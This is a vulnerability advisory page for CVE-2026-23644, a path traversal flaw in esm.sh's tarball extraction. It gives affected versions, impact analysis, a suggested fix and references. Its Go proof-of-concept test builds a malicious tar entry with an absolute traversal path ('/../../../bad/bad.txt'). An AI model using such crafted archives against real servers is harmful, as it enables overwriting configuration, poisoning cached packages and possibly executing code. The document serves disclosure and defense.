CVE-2026-23644: esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
Summary The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file. PoC This test file can demonstrate the basic idea pretty easily: Impact It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages. Arbitrary file write can lead to server-side code execution (e.g.
Published Jan 20, 2026 · Updated Feb 27, 2026
Affected packages
github.com/esm-dev/esm.sh
- Ecosystem
- Go
- Affected
- >= 0.0.1, <= 136
- Fixed in
- No patched version yet
- Check
go list -m github.com/esm-dev/esm.sh
github.com/esm-dev/esm.sh
- Ecosystem
- Go
- Affected
- < 0.0.0-20260116051925-c62ab83c589e
- Fixed in
- 0.0.0-20260116051925-c62ab83c589e
- Check
go list -m github.com/esm-dev/esm.sh
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.
PoC
This test file can demonstrate the basic idea pretty easily:
package server
import (
"archive/tar"
"bytes"
"compress/gzip"
"testing"
)
// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
// Create a temporary directory for testing
installDir := "./testdata/good"
// Create a malicious tarball with path traversal
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// Add a normal file
content := []byte("export const foo = 'bar';")
header := &tar.Header{
Name: "package/index.js",
Mode: 0644,
Size: int64(len(content)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(content); err != nil {
t.Fatal(err)
}
// Add a malicious file with path traversal
bad := []byte("bad")
header = &tar.Header{
Name: "/../../../bad/bad.txt",
Mode: 0644,
Size: int64(len(bad)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(bad); err != nil {
t.Fatal(err)
}
tw.Close()
gw.Close()
// Call extractPackageTarball with the malicious tarball
if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
t.Errorf("extractPackageTarball returned error: %v", err)
}
}Impact
It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.
Arbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.
The limiting factors in the default setup that limit escalating this to code execution:
extractPackageTarballhas a file-extension check which makes some more "obvious" escalations like overwriting binaries in/esm/bin(e.g.deno) impractical since it requires the target file to have an allowlisted extension.- Using the
Dockerfilein the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to/tmpand it's home directory. - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.
Fix
Using `os.Root` seems like it will solve this issue and doesn't require new dependencies.
Credited to kelbyludwig.
References
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq
- https://nvd.nist.gov/vuln/detail/CVE-2026-23644
- https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16
- https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093
- https://pkg.go.dev/vuln/GO-2025-4138
- https://pkg.go.dev/vuln/GO-2026-4332
- https://github.com/advisories/GHSA-2657-3c98-63jq
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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